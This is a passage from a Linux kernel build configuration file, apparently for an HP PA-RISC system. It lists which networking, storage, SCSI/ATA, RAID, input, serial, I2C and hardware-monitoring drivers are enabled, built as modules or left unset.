CONFIG_NETLINK_MMAP=y
CONFIG_NETLINK_DIAG=y
# CONFIG_NET_MPLS_GSO is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y
# CONFIG_NETPRIO_CGROUP is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
CONFIG_DMA_SHARED_BUFFER=y

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ATMEL_SSC is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1780 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_SENSORS_APDS990X is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_BMP085_I2C is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_USB_SWITCH_FSA9480 is not set
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#
# CONFIG_SENSORS_LIS3_I2C is not set

#
# Altera FPGA firmware download module
#
# CONFIG_ALTERA_STAPL is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=1
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_HIGHBANK is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_RCAR is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
CONFIG_PATA_SIL680=m
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_AUTODETECT=y
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=y
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BCACHE=m
# CONFIG_BCACHE_DEBUG is not set
# CONFIG_BCACHE_EDEBUG is not set
# CONFIG_BCACHE_CLOSURES_DEBUG is not set
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
# CONFIG_DM_THIN_PROVISIONING is not set
# CONFIG_DM_CACHE is not set
CONFIG_DM_MIRROR=m
CONFIG_DM_RAID=m
# CONFIG_DM_LOG_USERSPACE is not set
# CONFIG_DM_ZERO is not set
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
# CONFIG_DM_FLAKEY is not set
# CONFIG_DM_VERITY is not set
# CONFIG_DM_SWITCH is not set
# CONFIG_TARGET_CORE is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=y
# CONFIG_FUSION_FC is not set
# CONFIG_FUSION_SAS is not set
CONFIG_FUSION_MAX_SGE=128
# CONFIG_FUSION_CTL is not set
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
CONFIG_NETCONSOLE=m
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=m
# CONFIG_VETH is not set
CONFIG_NLMON=m
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_CADENCE is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CIRRUS is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
CONFIG_NET_VENDOR_INTEL=y
# CONFIG_E100 is not set
CONFIG_E1000=y
# CONFIG_E1000E is not set
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGB is not set
# CONFIG_IXGBE is not set
# CONFIG_NET_VENDOR_I825XX is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_SH_ETH is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
# CONFIG_AT803X_PHY is not set
CONFIG_AMD_PHY=m
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
CONFIG_BCM87XX_PHY=m
CONFIG_ICPLUS_PHY=m
CONFIG_REALTEK_PHY=m
CONFIG_NATIONAL_PHY=m
CONFIG_STE10XP=m
CONFIG_LSI_ET1011C_PHY=m
CONFIG_MICREL_PHY=m
CONFIG_MDIO_BITBANG=m
CONFIG_PPP=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_FILTER=y
CONFIG_PPP_MPPE=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOE=m
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
# CONFIG_SLIP is not set
CONFIG_SLHC=m

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_RTL8152 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADP5588 is not set
# CONFIG_KEYBOARD_ADP5589 is not set
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
# CONFIG_KEYBOARD_TCA8418 is not set
CONFIG_KEYBOARD_HIL_OLD=y
# CONFIG_KEYBOARD_HIL is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
# CONFIG_MOUSE_SYNAPTICS_USB is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set

#
# KCopy
#
CONFIG_KCOPY=m
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
CONFIG_SERIAL_8250_RSA=y
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_SERIAL_MUX is not set
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
CONFIG_IPMI_HANDLER=m
# CONFIG_IPMI_PANIC_EVENT is not set
# CONFIG_IPMI_DEVICE_INTERFACE is not set
# CONFIG_IPMI_SI is not set
# CONFIG_IPMI_WATCHDOG is not set
# CONFIG_IPMI_POWEROFF is not set
CONFIG_HW_RANDOM=m
CONFIG_HW_RANDOM_TIMERIOMEM=m
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EG20T is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_PXA_PCI is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_DIOLAN_U2C is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set
# CONFIG_HSI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_GPIO_DEVRES=y
# CONFIG_W1 is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
# CONFIG_PDA_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_DS2782 is not set
# CONFIG_BATTERY_SBS is not set
# CONFIG_BATTERY_BQ27x00 is not set
# CONFIG_BATTERY_MAX17040 is not set
# CONFIG_BATTERY_MAX17042 is not set
# CONFIG_CHARGER_ISP1704 is not set
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_CHARGER_LP8727 is not set
# CONFIG_CHARGER_BQ2415X is not set
# CONFIG_CHARGER_SMB347 is not set
# CONFIG_BATTERY_GOLDFISH is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_AVS is not set
CONFIG_HWMON=m
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1021 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7410 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_G762 is not set
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_HIH6130 is not set
# CONFIG_SENSORS_IBMAEM is not set
# CONFIG_SENSORS_IBMPEX is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LM95234 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6642 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MCP3021 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMM665 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_ADS1015 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_INA209 is not set
# CONFIG_SENSORS_INA2XX is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_VIA686A is not set
